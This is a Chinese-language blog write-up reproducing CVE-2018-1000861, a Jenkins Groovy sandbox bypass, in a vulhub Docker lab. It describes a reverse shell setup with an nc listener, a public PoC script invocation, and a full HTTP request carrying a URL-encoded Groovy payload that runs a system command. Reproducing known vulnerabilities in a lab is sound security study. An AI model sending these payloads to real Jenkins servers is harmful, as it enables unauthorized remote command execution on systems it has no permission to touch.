美文网首页
CVE-2018-1000861复现

CVE-2018-1000861复现

作者: 吃啥呀 | 来源:发表于2020-06-20 20:17 被阅读0次

    vulhub

    1. 漏洞介绍

    1.1 背景介绍

    Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

    通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

    1.2 漏洞影响

    Jenkins Version <= 2.56
    Jenkins LTS Version <= 2.46.1

    2. 漏洞详细复现步骤

    2.1 环境&工具

    漏洞机:192.168.10.200 ubuntu

    • docker
    • vulhub

    攻击机:Windows10

    • Burpsuit
    • wireshark

    2.2 漏洞复现步骤

    2.2.1 漏洞机环境

    执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:

    docker-compose up -d
    

    环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

    2.2.2 漏洞复现
    1. 反弹shell

    /dev/tcp是一个socket链接

    尝试在windows攻击机的防火墙的高级设置中添加入站规则和出站规则,依然链接被拒绝。

    ping攻击机是能够ping通的。

    尝试关掉靶机的防火墙,依然链接被拒绝

    尝试更换端口号,依然链接被拒绝

    明明就能ping通,我实在想不通。

    解密了,应当先在攻击机监听端口,再在靶机tcp链接攻击机,这个时候再在攻击机回车两次,就会出现反弹shell。

    nc -lvp 6789 #port
    
    1. 使用一键POC脚本

    使用https://github.com/orangetw/awesome-jenkins-rce-2019

    下载运行 exp.py 需要的依赖

    pip install requests
    pip install enum
    

    执行exp.py

    python exp.py http://靶机ip:8080/ "touch /tmp/success"
    

    在靶机查看是否成功

    1. 使用burpsuite

    现将playload中的value编码url

    GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
    Host: 192.168.0.113:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
    Connection: close
    

    response一片空白。

    2.3 漏洞复现注意事项

    应当先在攻击机监听端口,再在靶机tcp链接攻击机,这样端口才能对应上!如果先tcp链接是会被拒绝的。如果链接不上,应当先检查双方是否能ping通,再检查IPS是否拦截成功。

    相关文章

      网友评论

          本文标题:CVE-2018-1000861复现

          本文链接:https://www.haomeiwen.com/subject/pepgxktx.html